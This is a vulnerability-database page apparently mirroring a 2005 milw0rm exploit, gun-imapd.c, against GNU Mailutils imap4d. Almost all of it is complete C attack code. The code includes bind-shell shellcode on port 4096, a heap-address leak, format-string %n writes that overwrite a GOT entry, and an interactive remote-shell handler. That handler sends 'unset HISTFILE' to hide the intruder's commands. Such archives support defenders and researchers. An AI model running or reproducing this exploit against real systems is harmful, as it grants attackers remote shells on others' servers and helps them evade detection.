Lucene search
K

GNU Mailutils imap4d 0.5 < 0.6.90 Remote Format String Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

GNU Mailutils imap4d 0.5 < 0.6.90 Remote Format String Exploit by [email protected]. This is a first testing version and the only one to go public

Code

                                                /*
   gun-imapd.c
   &#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;

   gnu mailutils-0.5 - &#60; mailutils-0.6.90 remote formatstring exploit
  
   written and tested on FC3.
   this is a first testing version and the onlyone to go public.
   

   by
      [email protected]

*/




#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
#include &#60;unistd.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;arpa/inet.h&#62;
#include &#60;netdb.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;fcntl.h&#62;

// to be modified
#define  GOT  0x080573fc 

static char bindshell[]= //by pr1 bind to :4096 
&#34;\x31\xc0&#34;              //  xor    %eax,%eax
&#34;\x50&#34;                  //  push  %eax
&#34;\x40&#34;                  //  inc    %eax
&#34;\x89\xc3&#34;              //  mov    %eax,%ebx
&#34;\x40&#34;                  //  inc    %eax
&#34;\x53&#34;                  //  push  %ebx
&#34;\x50&#34;                          //  push  %eax
&#34;\x89\xe1&#34;                      //  mov    %esp,%ecx
&#34;\xb0\x66&#34;                      //  mov    $0x66,%al
&#34;\xcd\x80&#34;              //  int    $0x80
&#34;\x31\xd2&#34;              //  xor    %edx,%edx
&#34;\x52&#34;                  //  push  %edx
&#34;\x43&#34;                  //  inc    %ebx
&#34;\x6a\x10&#34;              //  push  $0x10
&#34;\x66\x53&#34;              //  push  %bx
&#34;\x89\xe1&#34;                      //  mov    %esp,%ecx
&#34;\x6a\x10&#34;              //  push  $0x10
&#34;\x51&#34;                  //  push  %ecx
&#34;\x50&#34;                  //  push  %eax
&#34;\x89\xe1&#34;              //  mov    %esp,%ecx
&#34;\xb0\x66&#34;                      //  mov    $0x66,%al
&#34;\xcd\x80&#34;              //  int    $0x80
&#34;\xd1\xe3&#34;              //  shl    %ebx
&#34;\xb0\x66&#34;              //  mov    $0x66,%al
&#34;\xcd\x80&#34;              //  int    $0x80
&#34;\x58&#34;                  //  pop    %eax
&#34;\x52&#34;                          //  push  %edx
&#34;\x50&#34;                          //  push  %eax
&#34;\x43&#34;                          //  inc    %ebx
&#34;\x89\xe1&#34;              //  mov    %esp,%ecx
&#34;\xb0\x66&#34;              //  mov    $0x66,%al
&#34;\xcd\x80&#34;              //  int    $0x80
&#34;\x87\xd9&#34;                      //  xchg  %ebx,%ecx
&#34;\x93&#34;                          //  xchg  %eax,%ebx
&#34;\x49&#34;                          //  dec    %ecx
&#34;\x31\xc0&#34;                      //  xor    %eax,%eax
&#34;\x49&#34;                          //  dec    %ecx
&#34;\xb0\x3f&#34;                      //  mov    $0x3f,%al
&#34;\xcd\x80&#34;                      //  int    $0x80
&#34;\x41&#34;                          //  inc    %ecx
&#34;\xe2\xf8&#34;                      //  loop  8048469 &#60;blah&#62;
&#34;\x52&#34;                          //  push  %edx
&#34;\x68\x6e\x2f\x73\x68&#34;    //  push  $0x68732f6e
&#34;\x68\x2f\x2f\x62\x69&#34;    //  push  $0x69622f2f
&#34;\x89\xe3&#34;                //  mov    %esp,%ebx
&#34;\x52&#34;                    //  push  %edx
&#34;\x53&#34;                    //  push  %ebx
&#34;\x89\xe1&#34;                //  mov    %esp,%ecx
&#34;\xb0\x0b&#34;                //  mov    $0xb,%al
&#34;\xcd\x80&#34;                //  int    $0x80
;


/********************************\
|****** handle remoteshell ******|
\********************************/

int handleshell(int peersh)
{
fd_set fds;
char buff[2048];
int ret, cntr = 1;

printf(&#34; |- enjoy your stay and come back soon ;&#62;\n&#34;);

write(peersh, &#34;unset HISTFILE;id;uname -a;\n&#34;, 30);

while(ret && cntr)
     {
      FD_ZERO(&fds);
      FD_SET(0, &fds);
      FD_SET(peersh, &fds);
      ret = select(peersh+1, &fds, 0, 0, 0);
      if(ret) 
        {
         memset(buff, 0x0, sizeof(buff));
         if(FD_ISSET(peersh, &fds)) 
           {
            cntr = read(peersh, buff, sizeof(buff)-1); 
            printf(&#34;%s&#34;, buff);
            fflush(stdout);
            }
         if(FD_ISSET(0, &fds)) 
           {
            cntr = read(0, buff, sizeof(buff)-1);
            write(peersh, buff, strlen(buff));
           }
        }
     }  
 return 1;
}





/********************************\
|********* HELP OUTPUT **********|
\********************************/

void help()
{

printf(&#34; `- usage: gun-imapd -p 143 -t www.exploits.cx  \n&#34;);                
exit(0);
}



/********************************\
|******* CONNECT FUNC  **********|
\********************************/


int connectme(char* ip, unsigned short port)
{
int soquet;
struct sockaddr_in  remoteaddr_in;
struct hostent*     hostip;

memset(&remoteaddr_in, 0x0, sizeof(remoteaddr_in));
if ((hostip = gethostbyname(ip)) == NULL)
   {
     printf(&#34; |- could not resolve [%s]\n&#34;, ip);
     exit(-1);
   }

remoteaddr_in.sin_family = AF_INET;
remoteaddr_in.sin_port   = htons(port);
remoteaddr_in.sin_addr   = *((struct in_addr *)hostip-&#62;h_addr);

if ((soquet = socket(AF_INET, SOCK_STREAM, 0)) &#60; 0)
    {
     printf(&#34; |- got no socket!\n&#34;);
     exit(-1);
    }

printf(&#34; |- try connecting to [%s:%d] ...&#34;, ip, port);

if (connect(soquet, (struct sockaddr *)&remoteaddr_in, sizeof(struct sockaddr)) ==  -1)
   {
    printf(&#34; no connection, exiting!\n&#34;);
    exit(-1);
   }

printf(&#34; successfull!\n&#34;);
return(soquet);
}


/********************************\
|********* DO SPLOIT ************|
\********************************/

int do_sploit(int soquet)
{
char buff[1024], *addr = 0;
int cntr = 0, *ptr, scaddr, gotaddr = GOT;
unsigned int w1, w2 ,w3;

//find heap with our shellcode: !experimental!
memset(buff, 0x00, sizeof(buff));
memset(buff, 0x41, 496);
strcat(buff, &#34;111122223333%p%p%p%p[%p-%p]\r\n&#34;);

if(write(soquet, buff, strlen(buff)) == -1)
  {
   printf(&#34; |- could not send packet!\n&#34;);
   return -1;
  }
memset(buff, 0x00, sizeof(buff));
read(soquet, buff, sizeof(buff)-1);
addr = strstr(buff, &#34;[&#34;);
if(addr &#62; 0) 
  { 
   scaddr = strtoul(++addr, 0, 0) + 0x330;//the next chunk..
   printf(&#34; |- using %p\n&#34;, scaddr);
     } 
else printf(&#34; |- !could not determine heap address..\n!&#34;); 
//k build exploit now:

 w3 = ( scaddr & 0xffff0000 ) &#62;&#62; 16;
 w1 = ( scaddr & 0x0000ffff );


memset(buff, 0x00, sizeof(buff));
memset(buff, 0x41, 496);
memcpy(buff+400, bindshell, strlen(bindshell));
cntr = strlen(buff) + 3*4;


ptr = (int *)gotaddr;
memcpy((buff+496), &ptr,4);
ptr = (int *)gotaddr;
memcpy((buff+500), &ptr,4);
ptr = (int *)(gotaddr+2);
memcpy((buff+504), &ptr,4);
w1 -= cntr; 
w3 += (0x10000 - w1) - cntr;
sprintf(buff+508, &#34;%%%dp%%n%%%dp%%n \r\n&#34;, w1, w3);

if(write(soquet, buff, strlen(buff)) == -1)
  {
   printf(&#34; |- could not send packet!\n&#34;);
   return -1;
  }
//memset(buff, 0x00, sizeof(buff));
//read(soquet, buff, sizeof(buff));


return 1;
}

/********************************\
|************* MAIN *************|
\********************************/

int main(int argc, char *argv[])
{
int tmp, socke, port = 143;
char *target = 0;
char banner[32];

printf(&#34; . gun-imapd v0.1 by qobaiashi\n |\n&#34;);
memset(banner, 0x00, sizeof(banner));

while((tmp = getopt(argc, argv, &#34;p:t:h&#34;)) != EOF)
     {
      switch (tmp)
             { 
              case &#39;p&#39;:  
                         port = atoi(optarg);
                         printf(&#34; |- using port: %d\n&#34;, port);
                         break;

              case &#39;t&#39;:  
                         target = optarg;
                         printf(&#34; |- target host is: %s\n&#34;, optarg);
                         break;

              case &#39;h&#39;:  help();
              }      

      }
if (target == NULL) help();
socke = connectme(target, port);

if (read(socke, banner, sizeof(banner)) &#62; -1)
   {
    printf(&#34; |- remote host is a %s&#34;, (banner+4));
   } 

do_sploit(socke);
sleep(1);
tmp = connectme(target, 4096);
handleshell(tmp);

close(tmp);
close(socke);
}

// milw0rm.com [2005-06-10]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18